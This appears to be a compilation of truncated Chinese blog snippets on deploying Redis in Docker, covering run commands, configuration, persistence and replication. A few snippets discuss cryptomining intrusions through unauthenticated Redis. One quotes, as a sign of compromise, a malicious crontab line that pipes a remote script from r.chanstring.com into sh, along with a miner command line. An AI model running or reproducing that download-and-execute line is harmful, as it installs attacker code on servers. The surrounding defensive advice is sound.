服务器上线后,怎么发现总有个 xmrig 的容器在跑,删了还出来 那么恭喜你!!你的服务器已经被入侵了!! $ docker ps IMAGE               COMMAND                  CREATED           STATUS                           PORTS    NAMES linuxrun/cpu2    "./xmrig --algo=cr...."    4 hours ago     Exited (

Docker运维笔记-Docker端口映射 - 恶性佛 - CSDN博客https://blog.csdn.net/qq_29994609/article/details/51730640 利用 Docker 在一台机器上部署多个 Redis 实例 - HeatDeath的博客 - CSDN博客https://blog.csdn.net/HeatDeath/article/details/80364340 Docker命令详解 - iVictor - 博客园http://www.cnblogs.

docker+redis安装与配置 docker安装redis并且使用redis挂载的配置启动 1.拉取镜像 docker pull redis:3.2 2.准备准备挂载的目录和配置文件 首先在/docker_data/redis/data 创建好文件夹用于存放redis数据,这个文件夹位置也可以自己选. 然后在/docker_data/redis/ 创建好redis.conf文件.用户redis的配置.redis.conf可以从redis官网下载 然后启动的时候导入redis的配置文件,就可以

原文:Docker Redis 安装 拉取官方的镜像 docker pull redis:3.2 查看 docker images redis 运行容器 docker run -p 6379:6379 -v $PWD/data:/data -d redis:3.2 redis-server --appendonly yes 说明: -p 6379:6379 : 将容器的6379端口映射到主机的6379端口 -v $PWD/data:/data : 将主机中当前目录下的data挂载到容器的/dat

1.下载redis镜像 docker pull redis 2.下载redis.conf文件 https://redis.io/topics/config 这边查找自己服务器redis对应的版本文件 我的是5.0版本的 https://raw.githubusercontent.com/antirez/redis/5.0/redis.conf 下载完把文件放到/usr/local/docker 目录下面 bind 127.0.0.1 注释掉 如果需要远程连接,则需要将protected-mode

docker run --name=redistmp -ti centos /bin/bash yum -y install gcc tcl make cd /home wget http://download.redis.io/redis-stable.tar.gz tar zxvf redis-stable.tar.gz cd redis-stable make MALLOC=libc make install mkdir /home/redis cp redis.conf /home/re

拉取docker docker pull hub.c.163.com/library/redis:latest 启动docker docker run -p 6379:6379 -d hub.c.163.com/library/redis:latest redis-server 查看已经运行的实例 docker ps 停止实例 docker stop c5ccb4d29522 开机自启动 文件路径C:\Users\admin\AppData\Roaming\Microsoft\Windows\S

文章来源:公众号-智能化IT系统. 一. DOCKER介绍 Docker简介 (1)Docker 是一个开源的应用容器引擎,基于 Go 语言,并遵从Apache2.0协议开源. (2)Docker 可以让开发者打包他们的应用以及依赖包到一个轻量级.可移植的容器中,然后发布到任何流行的 Linux 机器上,也可以实现虚拟化.容器是完全使用沙箱机制,相互之间不会有任何接口,更重要的是容器性能开销极低. Docker 的优点 (1)简化程序 过去运维工程师部署生产环境时候需要用数天乃至数周的任务,在D

RDB持久化与AOF持久化简单描述 RDB:RDB使用快照的方式存储数据库中的内容,直接将所有键值对数据全部存入二进制文件.建议使用BGSAVE来进行备份,整个过程会新fork一个子进程来执行,不影响redis其他进程的IO. AOF:AOF持久化则是记录每次数据写入的操作命令.并且会维护一个AOF缓冲区和一个重写缓冲区,AOF缓冲区中记录写命令并定期保存到已有的持久化文件中.为了避免文件过大,会根据触发条件进行重写AOF文件,并且为了保证子进程重写过程不丢失实时数据,同时会维护一个重写缓冲区.

redis是k-v型nosql数据库,支持字符串(string).列表(list).集合(set).散列(hash).有序集合(zset:形如member:score的散列集合,其中member为成员,score为成员得分,必须为float型数据). 综合使用redis的以上5种数据类型,可以将redis应用于各种场景,比如点赞.投票网站.消息队列.分布式锁(使用setnx指令,该指令只有在key不存在的时候,才会执行写入操作).文件分发(没研究过).日志记录等等. redis支持主从配置(拓展

https://www.cnblogs.com/cgpei/p/7151612.html 重启docker >systmctl restart docker >mkdir -p ~/redis ~/redis/data   -p如果文件夹不存在就会创建 >docker run -p 6379:6379 -v $PWD/data:/data -d redis redis-server --appendonly yes -p端口映射 本机端口:镜像端口 $PWD当前路径 -d后台执行 red

一.下载Docker: 因为始终注册docker账号不成功,所以在这里点击下载. 选中docker-for-windows/ 选中beta/ 下载这个.msi文件 二.安装 1.安装.msi文件,桌面会生成 2.启用Hyper-V 3.重启电脑 三.打开Docker for Window 四.启用Docker 1.win+r------>cmd------>docker version查看版本 2.查看下载的镜像------>docker images 3.下载镜像hello-world

一.整体思路及中心节点的配置 1.首先在虚拟机中运行一个docker,docker中运行的是一个linux系统,里面有我们所有需要的东西,linux系统,python,mysql,redis以及一些python的库如request.urllib等, 最好把这个做成一个镜像文件 docker save -o 文文件名 镜像id 2.我们把上面的镜像文件还原为一个镜像: docker load --input 文件名 3.docker images查看一下是否有多出来一个image docker i

1.使用docker启动三个redis实例,容器名称分别为:myredis-master-6379,myredis-slave-6380,myredis-slave-6381.通过命令可以看到容器给三个redis实例配置的ip地址. 2.进入redis内部,docker exec -it myredis-master-6379 /bin/bash,再使用redis-cli进入redis客户端命令行模式. 可以看到,目前所有的redis角色都是role:master 3.从名称可以看出,我们要设置

启动方式一:docker默认启动redis 1.拉取镜像 docker pull redis:lastest (若不使用版本号,如docker pull redis,默认拉取最新镜像) 2.启动redis server,启动时设置端口,以便外部访问 docker run -it -d --name myredis -p 6379:6379 redis 说明: -it : 让容器的标准输入保持打开,并分配一个伪终端并绑定到容器的标准输入上 -d : 启动容器并在后台运行 容器运行起来后,若想进入容

▲针对全球6379端口的redis服务器做了扫描,结果如上图 如图开放在公网的redis的6379端口的ip总数有63443个.无密码认证的IP有43024个,在总数占比里达到67%.发现遭受到redis crackit事件影响的服务器达到35024,在总数占比中达到55%,在无密码认证的redis数量中占比达到81%左右. 事件描述 很多使用者都是把redis下载到服务器直接运行使用,无ACL,无密码,root运行,且绑定在0.0.0.0:6379,暴露在公网.攻击者在未授 权访问 Redis

在使用云服务器时,安装的redis3.0+版本都关闭了protected-mode,因而都遭遇了挖矿病毒的攻击,使得服务器99%的占用率!! 因此我们在使用redis时候,最好更改默认端口,并且使用redis密码登录. (1)redis没有用户概念,redis只有密码(2)redis默认在工作在保护模式下.不允许远程任何用户登录的(protected-mode) redis.conf设置 protected-mode yes #打开保护模式 port 6380 #更改默认启动端口 require

docker run -p 6379:6379 --name redis -v /usr/local/redis/etc/redis.conf:/etc/redis/redis.conf -v /usr/local/redis/data:/data -d redis redis-server /etc/redis/redis.conf --appendonly yes Linux redis配置文件路径: /usr/local/redis/etc/redis.conf # Redis confi

今天发现服务器有异常进程/opt/yam/yam,上网搜了搜,是由于redis未授权引起的入侵,查了些资料,这里做下总结. 1. 现象 有以下其一现象就要注意是否被入侵 crontab -l 可以看到类似"*/15 * * * * curl -fsSL https://r.chanstring.com/api/report?pm=0623 | sh". ps -ef 可以看到进程 "/opt/yam/yam -c x -M stratum+tcp://46fbJKYJRa4U

docker中安装好redis后,运行 docker ps 指令,查看所有运行中的镜像信息 然后运行 docker inspect --format "{{ .State.Pid}}" <container id> 获取到pid,然后再运行 nsenter --target <pid> --mount --uts --ipc --net --pid 进入容器里面,最后运行redis-cli连接 root@***********:/# redis-cli redi

启动容器,加载配置文件并持久化数据 docker run -d --privileged=true -p 6379:6379 --restart always -v /usr/redis/conf:/etc/redis/redis.conf -v /usr/redis/data:/data --name myredis redis:5.0.5 redis-server /etc/redis/redis.conf --requirepass "__@picker-redis" --app